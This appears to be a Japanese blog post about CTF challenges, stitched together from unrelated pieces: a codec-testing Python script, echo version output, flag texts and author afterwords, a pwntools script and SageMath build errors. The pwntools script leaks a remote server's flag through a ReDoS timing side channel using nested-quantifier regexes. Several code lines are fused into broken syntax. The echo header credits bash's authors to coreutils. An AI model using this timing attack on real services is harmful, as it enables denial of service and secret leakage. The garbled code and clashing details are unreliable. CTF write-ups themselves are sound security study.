import codecs
import encodings
import os
for name in os.listdir(encodings.__path__[0]):
name = name[:-3]
try:
codecs.lookup(name)
"".encode(name)
except (LookupError, UnicodeError):
continuefor i inrange(128):
c = chr(i)
try:
if c.encode(name).decode(name) != c:
print(name, repr(c), i)
except (UnicodeEncodeError, UnicodeError):
continue
echo (GNU coreutils) 9.4
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by Brian Fox and Chet Ramey.
[...] a single dash does terminate option processing, so the first dash, possibly following options, is not printed, but everything following it is printed as an argument. The single dash behaviour is different from other shells.
Alpaca{echo \151\163 \x61 nice program\contradicting its own name} 👏
あとがき
フラグの内容は echo is a nice program contradicting its own name です。そもそも echo は反響のことで、打った文字列をそのまま返してくれるところから名前がついていると思うのですが、実態はそうなっていなくて面白いことだなあという気持ちです。もはや echo のことを単に「出力する」「表示する」みたいな意味合いで認識しているような気もします。float や long を「浮く」「長い」ではなく特定の数値型だと認識しているのと似ている気がします。
問題名 haec horrenda はラテン語で these horrible [things] の意味で、echo たちを指しているつもりです。echo を部分文字列に含むフレーズを考えていたのですが、英語でうまく作れなかったためこうなりました。
hos Helenus scopulos, haec saxa horrenda canebat (Vergilius, Aeneidos 3.559).
フラグの内容は “OMG, in Unicode the specific pairs give us the specific meaning.” です。たとえば 🇼🇴🇷🇩 のように国名コードとして有効でない列(執筆時点)を並べても国旗として表示されないため、国名コード列として有効かつそれっぽい意味を持つ文章を作るのに苦労しました。温かみのある手作業で試行錯誤しながらの作文でした。
元素記号として存在する文字列だけを使って英作文をするみたいな遊びとも似ている気がします。一度はやったことがある人もいるかもしれません。
たとえばこういうやつですね。“PrOFeSSiONAl HAcKErS CaN OBTaIn ThAt FlAg InSTaNTlY.”
chal.py 内の関数名の risl は regional indicator symbol letter の頭文字です。
たとえば 🇦 には REGIONAL INDICATOR SYMBOL LETTER A という名前がついています (ref)。
Python の \N{...} などを使うことでも確かめられます。
>>> '\N{REGIONAL INDICATOR SYMBOL LETTER A}''🇦'
>>> import unicodedata
>>> unicodedata.name('🇦')
'REGIONAL INDICATOR SYMBOL LETTER A'
また、Unicode® Technical Standard #51: Unicode Emoji の Annex B: Valid Emoji Flag Sequences にもいろいろと記載があります。これらの列は、特定の地域を示すものであり、その地域に対応する特定の旗を示すものではないらしいです。
ところで、FLAG を名前に含む文字としては下記が挙げられます。
⚐ (WHITE FLAG)
⚑ (BLACK FLAG)
⛳ (FLAG IN HOLE)
⛿ (WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE)
import time
from pwn import *
p = remote("34.170.146.252", 22289)
deftest(r):
p.sendlineafter(b"regex> ", r.encode())
tic = time.time()
res = p.recvline().strip()
toc = time.time()
print(toc - tic)
return toc - tic < 1
flag = "A"whileTrue:
lo = 0x01
hi = 0x80while hi - lo > 1:
mid = lo + (hi - lo) // 2
cur = f"(((((((((({flag}|{flag})*)*)*)*)*)*)*)*)*)*[\\x00-\\x{mid:02X}]"if test(cur):
hi = mid
else:
lo = mid
flag += chr(hi)
print(flag)
% sage --help
SageMath version 10.8, Release Date: 2025-12-18
Running Sage:
file.[sage|py|spyx] -- run given .sage, .py or .spyx file
...
/var/tmp/sage-10.8-current/venv/bin/sage: line 197: /Applications/SageMath-10-8.app/Contents/Frameworks/Sage.framework/Versions/10.8/build/bin/sage-site: No such file or directory
なんか怒ってそう。
% sage
┌────────────────────────────────────────────────────────────────────┐
│ SageMath version 10.8, Release Date: 2025-12-18 │
│ Using Python 3.13.7. Type "help()" for help. │
└────────────────────────────────────────────────────────────────────┘
(!) we are using libedit readline
sage: from Crypto.Util.number import long_to_bytes
---------------------------------------------------------------------------
ModuleNotFoundError Traceback (most recent call last)
Cell In[1], line 1
----> 1 from Crypto.Util.number import long_to_bytes
ModuleNotFoundError: No module named 'Crypto'
sage:
using libedit readline の警告に関しては、SageMath とは関係なく macOS の Python 側で GNU readline を使ってくれずにターミナルがめちゃくちゃにされる問題が以前起きたので自前の ~/.pythonrc.py でチェックしているもの。
じー。sage/build/README.txt には bin: Various scripts needed at build time. Not installed. と書いてありますが??
自前でビルドしてみようかな。
% git clone git@github.com:sagemath/sage.git
% cd sage
% EXPORT SAGE_ROOT=~/sage/sage
% make configure
% ./configure
% make
make[4]: *** [numpy-SAGE_VENV-no-deps] Error 1
make[3]: *** [/Users/rsk0315/git/sagemath/sage/local/var/lib/sage/venv-python3.14/var/lib/sage/i
make[2]: *** [all-start] Error 2
***************************************************************
Error building Sage.
The following package(s) may have failed to build (not necessarily
during this run of 'make all-start'):
* package: numpy-2.3.2
last build time: Feb 22 16:01
log file: /Users/rsk0315/git/sagemath/sage/logs/pkgs/numpy-2.3.2.log
It is safe to delete any log files and build directories, but they
contain information that is helpful for debugging build problems.
WARNING: If you now run 'make' again, the build directory of the
same version of the package will, by default, be deleted. Set the
environment variable SAGE_KEEP_BUILT_SPKGS=yes to prevent this.
real 65m40.114s user 38m56.325s sys 10m16.381s
make[1]: *** [all-start] Error 1
make: *** [all] Error 2